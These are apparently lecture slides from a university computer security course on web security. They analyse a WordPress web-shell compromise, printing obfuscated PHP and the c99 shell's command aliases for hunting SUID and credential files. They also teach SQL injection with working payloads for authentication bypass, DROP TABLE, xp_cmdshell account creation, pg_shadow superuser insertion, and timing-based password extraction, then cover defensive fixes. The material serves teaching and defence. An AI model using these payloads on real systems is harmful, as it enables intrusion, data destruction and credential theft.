CSE 40567 / 44567 / 60567: Computer Security

Web Security 1
Homework #8 is Due on 4/30 at 11:59PM Eastern

See Assignments Page on the course website for details
Course Instructor Feedback (CIF)
Deadline: 11:59PM, 5/5/19
Final Exam: May 8th at 10:30am
DBART 126 (this room)
Guest Lecture: 4/30
Saiph Savage
(Microsoft Research / WVU)

Topic: Fake News and Crowds
Course Roadmap

3 Core Areas

Basics
(weeks 1 & 2)

The Web
(weeks 15 & 16)

(weeks 3 - 6)

(weeks 6 - 10)

(weeks 11 - 15)
Anatomy of a Website Hack

New file appears in wordpress file hierarchy:

```
<?php
echo md5(strrev('/0//973n3//S5ZD'. 'EAJggRQ'. 'AC'. 'df1kPzVidSw09C'. 'q'. '3LYt44VUK/M7p6Q'. 'dNvtRHD'. 'kLUxYppsNoj6i8/Bfc'. 'Ryc'. '8D'. 'c'. 'Bwrk+U8HNNZGdwTixG09gOwHg0ENHdq'. 'NW/AsiE63KgfYyAR/P7Kf1Eyoao97ZAQ'. 'VMYLu0811oJ1bbUtQ'. 'PwMKlEox/ke2A6j51q'. 'Bhsrz5/rHImOjJrJ681vF5gbn+gumBjoAXZT7TD'. 'hwRC' . 'imMr2AfA2Srz1EueE5KRumL2D' . 'AfgdajWhPq' . 'JapQ' . '8oPFd' . 'LQ' . 'YszD' . 'WvaAj0ItsBQ' . 'fBL7Vbq'. 'Rp8RxtVHmgLTdghuMwD'. 'C' . 'SED' . 'D' . 'jkZ8ThB3XEEEBej85bo4Lx4VwrKfyJRv3dQ'. 'Sw94lc'. '71gFAV1e6t8IumL676yY5/91p+09UL3BzbfgyJKPfwUHq'. 'S5mzbjWC'. 'c' . 'pdc'. '2epHJC'. 'ly+8D'. 'h6KZSR+f9ULwyc'. 'C'. 'B6e1GC'. 'mV4pSC'. 'mX3379BdUnven!17szpw7ii11xGaQ'. 'v0uPao8R/b2D'. 'BoPan9KVY716wmOWNDjMV1G5msX0RxyG'. 'YGewSKc'. 'w5Yac'. 'Yq'. '890wC'. 'c'.
```

Obfuscated Code

Accessing it via a browser yields backdoor interface:

```
Binding port:
Port: 31373 Password: c99mad

Back connection:
HOST: 127.0.0.1 Port: 31373

Click "Connect" only after open port for it. You should use NetCat@, run "nc -l -n -v -p 31373"

Datapipe:
HOST: Local port: 8081

Note: sources will be downloaded from remote server.
```
What is this code?

```
$shver = "2.1 madnet edition ADVANCED";

$timelimit = 0;
$host_allow = array("*");
@login_txt = "Admin area";
$accessdeniedmess = "die like the rest";
$gzipencode = TRUE;
$c99sh_sourcesurl = ""; //Sources-server
$filestealth = TRUE;
$donated_html = "";
$donated_act = array("");
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
```
Path to privilege escalation

$cmdaliases = array(
    array("-----------------------------------------------------------", "ls -la"),
    array("find all suid files", "find / -type f -perm -04000 -ls"),
    array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
    array("find all sgid files", "find / -type f -perm -02000 -ls"),
    array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
    array("find config.inc.php files", "find / -type f -name config.inc.php"),
    array("find config* files", "find / -type f -name "config*""),
    array("find config* files in current dir", "find . -type f -name "config*""),
    array("find all writable folders and files", "find / -perm -2 -ls"),
    array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
    array("find all service.pwd files", "find / -type f -name service.pwd"),
    array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
    array("find all .htpasswd files", "find / -type f -name .htpasswd"),
    array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
    array("find all .bash_history files", "find / -type f -name .bash_history"),
    array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
    array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
    array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
    array("list file attributes on a Linux second extended file system", "lsattr -va"),
    array("show opened ports", "netstat -an | grep -i listen")
);
How does this happen?

- Misconfigurations
- Brute Force Attacks
- SQL Injection
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
Vulnerabilities in Web Software: SQL Injection
Injection attacks

Open Web Application Security Project (OWASP) Top vulnerability:

- Untrusted data is sent to an interpreter as part of a command or query.
- Attacker’s data can trick the interpreter into executing unintended commands or accessing data without proper authorization

**Common embodiment: SQL Injection**

https://www.owasp.org/index.php/Top_10_2013-Top_10
CardSystems Solutions

- Now defunct credit card processing company
- Experienced SQL injection attack in June 2005
- Over 40 million accounts compromised
- Over 200,000 credit card numbers stolen
- Data was not adequately protected

**Consequence:** company terminated operations and was sold to Pay by Touch (also defunct)

https://www.schneier.com/blog/archives/2005/06/cardsystems_exp.html
Persistent threat

**Wordpress** : Security Vulnerabilities (SQL Injection)

<table>
<thead>
<tr>
<th>#</th>
<th>CVE ID</th>
<th>CWE ID</th>
<th>Vulnerability Type(s)</th>
<th>Publish Date</th>
<th>Update Date</th>
<th>Score</th>
<th>Gained Access Level</th>
<th>Access</th>
<th>Complexity</th>
<th>Authentication</th>
<th>Conf.</th>
<th>Integ.</th>
<th>Avail.</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>CVE-2015-2213</td>
<td>89</td>
<td>Exec Code Sql</td>
<td>2015-11-09</td>
<td>2015-11-09</td>
<td>7.5</td>
<td>None</td>
<td>Remote</td>
<td>Low</td>
<td>Not required</td>
<td>Partial</td>
<td>Partial</td>
<td>Partial</td>
</tr>
<tr>
<td>2</td>
<td>CVE-2012-5350</td>
<td>89</td>
<td>Exec Code Sql</td>
<td>2012-10-09</td>
<td>2012-10-10</td>
<td>6.0</td>
<td>None</td>
<td>Remote</td>
<td>Medium</td>
<td>Single system</td>
<td>Partial</td>
<td>Partial</td>
<td>Partial</td>
</tr>
<tr>
<td>3</td>
<td>CVE-2011-5216</td>
<td>89</td>
<td>Exec Code Sql</td>
<td>2012-10-25</td>
<td>2012-10-26</td>
<td>7.5</td>
<td>None</td>
<td>Remote</td>
<td>Low</td>
<td>Not required</td>
<td>Partial</td>
<td>Partial</td>
<td>Partial</td>
</tr>
<tr>
<td>4</td>
<td>CVE-2011-4899</td>
<td></td>
<td>Exec Code Sql XSS</td>
<td>2012-01-30</td>
<td>2012-01-31</td>
<td>7.5</td>
<td>None</td>
<td>Remote</td>
<td>Low</td>
<td>Not required</td>
<td>Partial</td>
<td>Partial</td>
<td>Partial</td>
</tr>
<tr>
<td>5</td>
<td>CVE-2011-4669</td>
<td>89</td>
<td>Exec Code Sql</td>
<td>2011-12-02</td>
<td>2012-03-08</td>
<td>7.5</td>
<td>None</td>
<td>Remote</td>
<td>Low</td>
<td>Not required</td>
<td>Partial</td>
<td>Partial</td>
<td>Partial</td>
</tr>
<tr>
<td>6</td>
<td>CVE-2011-3130</td>
<td>89</td>
<td>Sql</td>
<td>2011-08-10</td>
<td>2012-06-28</td>
<td>7.5</td>
<td>User</td>
<td>Remote</td>
<td>Low</td>
<td>Not required</td>
<td>Partial</td>
<td>Partial</td>
<td>Partial</td>
</tr>
</tbody>
</table>

SQL injection vulnerability in the wp_untrash_post_comments function in wp-includes/post.php in WordPress before 4.2.4 allows remote attackers to execute arbitrary SQL commands via a comment that is mishandled after retrieval from the trash.

SQL injection vulnerability in the Pay With Tweet plugin before 1.2 for WordPress allows remote authenticated users with certain permissions to execute arbitrary SQL commands via the id parameter in a paywithtweet shortcode.

SQL injection vulnerability in ajax.php in SCORM Cloud For WordPress plugin before 1.0.7 for WordPress allows remote attackers to execute arbitrary SQL commands via the active parameter. NOTE: some of these details are obtained from third party information.

**DISPUTED** wp-admin/setup-config.php in the installation component in WordPress 3.3.1 and earlier does not ensure that the specified MySQL database service is appropriate, which allows remote attackers to configure an arbitrary database via the dbhost and dbname parameters, and subsequently conduct static code injection and cross-site scripting (XSS) attacks via (1) an HTTP request or (2) a MySQL query. NOTE: the vendor disputes the significance of this issue; however, remote code execution makes the issue important in many realistic environments.

SQL injection vulnerability in wp-users.php in WordPress Users plugin 1.3 and possibly earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the uid parameter to index.php.

wp-includes/taxonomy.php in WordPress 3.1 before 3.1.3 and 3.2 before Beta 2 has unknown impact and attack vectors related to "Taxonomy query hardening," possibly involving SQL injection.

http://www.cvedetails.com/vulnerability-list/vendor_id-2337/opsqli-1/Wordpress.html
Use SQL to change the meaning of a DB command

Consider this php code:

```php
$recipient = $_POST['recipient'];
$sql = "SELECT PersonID FROM Person WHERE Username='\$recipient';";
$rs = $db->executeQuery($sql);
```

What can an attacker do if they have control over $recipient?
SQL Injection “workflow”

1. Post Malicious Form
2. Unexpected SQL Query
3. Receive Valuable Data

Mallory
Example: login page (ASP)

```asp
set ok = execute("SELECT * FROM Users
WHERE user=' " & form("user") & " '
AND pwd=' " & form("pwd") & " '");

if not ok.EOF
  login success
else fail;

Is this code exploitable?
```
Normal Query

Enter Username & Password

SELECT * FROM Users
WHERE user='walter'
AND pwd='1234'
Bypassing the authentication check

What happens if `user = " ' or 1=1 -- "`?

(URL encoded)

The app will do the following:

```
ok = execute( SELECT ...
   WHERE user= ' ' or 1=1 -- ...
)
```

Causes the rest of the line to be ignored
Bypassing the authentication check

ok.EOF implies the SQL query didn’t return anything

if not ok.EOF 1=1 means this will always be false
login success
else fail;

Authentication succeeds without actually checking any records
Denial of Service

What if \texttt{user = "'\; DROP TABLE Users -- "}\? (URL encoded)

The app will do the following:

\begin{verbatim}
ok = execute( SELECT ... WHERE user= ' ' ; DROP TABLE Users -- ... )
\end{verbatim}

- User table is deleted; legitimate users can no longer login
- With this methodology, it is possible to add users, reset passwords, etc.
Remote command execution

What if `user = " '; exec cmdshell 'net user mallory mallorypwd' / ADD -- "`?

(URL encoded)

The app will do the following:

```
ok = execute( SELECT ...
    WHERE user= ' '; exec ... )
```

If the SQL server context runs with privilege, attacker will get an account on that server
What was the underlying cause of the security problems in the previous few examples?

Incorrectly filtered escape characters

Certain characters have special meaning in SQL:

\x00, \n, \r, ', " and \x1a

Correctly escaping these characters prevents the bug:

\x00, \n, \r, \', " and \x1a
General strategies for avoiding SQL injection

Avoid building SQL commands yourself

- Use parameterized / prepared SQL
- Use Object-relational mapping (ORM) framework
Fix for ASP: Parameterized SQL (ASP.NET 1.1)

Guarantees SQL arguments are properly escaped:

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE 
    username = @User AND 
    password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request["user"]);
cmd.Parameters.Add("@Pwd", Request["pwd"]);
cmd.ExecuteReader();
```
Incorrect type handling

Programmer forgets to check input for type:

```java
statement = "SELECT * FROM Users WHERE id =" + var + ";"
```

should only be numeric

Attacker’s string:

```sql
1; DROP TABLE users
```

Resulting SQL statement:

```sql
SELECT * FROM Users WHERE id=1; DROP TABLE users;
```
Blind SQL Injection

Web application is vulnerable to SQL injection, but attacker cannot see results

Attacker’s strategy: ask the DB “true or false” questions and determine the answer based on the application’s response

Example: news site with article ID parameter

Maps to this SQL query:
```
SELECT title, description, body FROM items
WHERE ID = 2
```
Blind SQL Injection

Attacker’s query:
http://news.com/items.php?id=2 and 1=2

Corresponding SQL query:
SELECT title, description, body FROM items
WHERE ID = 2 and 1=2

inject query that should return ‘false’

What does the application return?
Blind SQL Injection

Attacker’s second query to verify a SQL injection bug is present:
http://news.com/items.php?id=2 and 1=1

What does the application return?
Blind SQL Injection: Timing-based attack

Attacker forces the DB to pause for a specific amount of time, and then return results

Enumerate data possibilities:

If the first letter of the first database's name is an 'A', wait for 10 seconds.

If the first letter of the first database's name is a 'B', wait for 10 seconds.
Blind SQL Injection: Timing-based attack

Queries must be DB-specific for this attack

Microsoft SQL Server:
http://www.site.com/vulnerable.php?id=1'
waitfor delay '00:00:10'--

MySQL:
SELECT IF(expression, true, false)
Using some time consuming operation to delay the server response when true:
BENCHMARK(5000000, ENCODE('MSG','by 5 seconds'))

execute ENCODE 5000000 times!
Blind SQL Injection: Timing-based attack

Cracking passwords in the DB:

1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50), BENCHMARK(5000000, ENCODE('MSG','by 5 seconds')), null) FROM users WHERE user_id = 1;

Specify target strings and check the timing:

(CHAR(50) == '2')

The names of the tables and the number of columns are specified in this example.

- Possible to guess or check with trial and error
Remote DB Fingerprinting

Recall that queries must be DB-specific for the timing attack

MySQL: `BENCHMARK()`
MS SQL: `'WAIT FOR DELAY '0:0:10`
PostgreSQL: `pg_sleep()`

If a delay occurs, DB can be identified.

This can also be done with date-specific functions:

MySQL: `now()`
MS SQL: `getdate()`
Oracle: `sysdate()`
What about other common web programming languages?

PHP Example #1: Incorrectly splitting a result set into pages (PostgreSQL)

```php
<?php

$offset = $argv[0];
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

?>
```

Attacker’s query for PHP example #1

```php
<?php

$offset = $argv[0];
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

?>
```

Append a `urlencode()`'d form of the following to the URL:

```
0;
insert into pg_shadow(username,usesysid,usesuper,usecatupd,passwd)
    select 'mallory', usesysid, 't','t','mallorypwd'
    from pg_shadow where username='postgres';
```
PHP Example #2: Incorrectly listing pages

```php
<?php

$query = "SELECT id, name, inserted, size FROM products WHERE size = "'$size'";  
$result = odbc_exec($conn, $query);  

?>
```

Static part of query can be combined with another SELECT statement
Attacker’s query for PHP example #2

```php
<?php

$query  = "SELECT id, name, inserted, size FROM products WHERE size = "'$size'";
$result = odbc_exec($conn, $query);

?>

Leverage $size to attempt to reveal all passwords

',

union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--
```
SQL Injection: PHP

PHP Example #3: Incorrectly resetting a password

```php
<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
```

Path to privilege escalation
<?php

// $uid: ' or uid like '%admin%' (change admin’s pwd)
$query = "UPDATE usertable SET pwd='...' WHERE uid=''
or uid like '%admin%';";

// $pwd: Owned', trusted=100, admin='yes (privilege
// escalation)
$query = "UPDATE usertable SET pwd='Owned',trusted=100, admin='yes' WHERE ...";

?>
SQL Injection: PHP

PHP Example #4: Bug facilitates access to underlying OS of DB host (MSSQL)

```php
<?php

$query = "SELECT * FROM products WHERE id LIKE '
'"; 
$result = mssql_query($query);

?>
```

What if we try to force a shell invocation from here?
<?php

$query  = "SELECT * FROM products WHERE id LIKE '%$prod%';
$result = mssql_query($query);

?>

xp_cmdshell (not enabled by default) will invoke a shell

<?php

$query  = "SELECT * FROM products
    WHERE id LIKE '%a%'
    exec master..xp_cmdshell 'net user test testpass /ADD' --%';
$result = mssql_query($query);

?>
Real-world PHP Example: Wordpress

https://bugzilla.redhat.com/show_bug.cgi?id=1250583

Vulnerable \texttt{wp\_untrash\_post\_comments} function

\begin{verbatim}
foreach ( $group\_by\_status as $status => $comments ) {
    // Sanity check. This shouldn't happen.
    if ( 'post-trashed' == $status )
        $status = '0';
    $comments\_in = implode( '''', ''', $comments );
    $wpdb->query( "UPDATE $wpdb->comments SET 
        comment\_approved = "$status" WHERE 
        comment\_ID IN ('' . $comments\_in . 
        '''')" );
}
\end{verbatim}
Real-world PHP Example: Wordpress

Origin of $comments? The $group_by_status variable from this code snippet:

```php
// Restore each comment to its original status.
$group_by_status = array();
foreach ( $statuses as $comment_id => $comment_status )
    $group_by_status[$comment_status][] = $comment_id;
```

$ statuses comes from:

```php
$statuses = get_post_meta($post_id,
    '_wp_trash_meta_comments_status', true);
```

Bug: we expect numerical IDs for $post_id, but the table this data comes from can hold any type!
Fixes for PHP

• Add an explicit type check (is_numeric(), ctype_digit())

• If the application waits for numerical input, consider:
  ‣ verifying data: ctype_digit(),
  ‣ or silently change its type: settype(),
  ‣ or use its numeric representation: sprintf()

```
settype($offset, 'integer');
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";

$query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;", $offset);
```
Fixes for PHP

- `addslashes()` is not sufficient to escape args.
  - Unicode characters can get around it
- Quote each non numeric user supplied value that is passed to the database with a database-specific string escape function
  - `mysql_real_escape_string()`
  - `sqlite_escape_string()`
What about other common web programming languages?

**Python Example: DB update**

**Vulnerable:**
```python
cmd = "update articles set name='\{0\}' where id='\{1\}'".format(name, id)
curs.execute(cmd)
```

**Correct (SQLite):**
```python
cmd = "update articles set name=? where id=?"
curs.execute(cmd, (name, id))
```

For MySQL or PostgreSQL, use %s instead of ?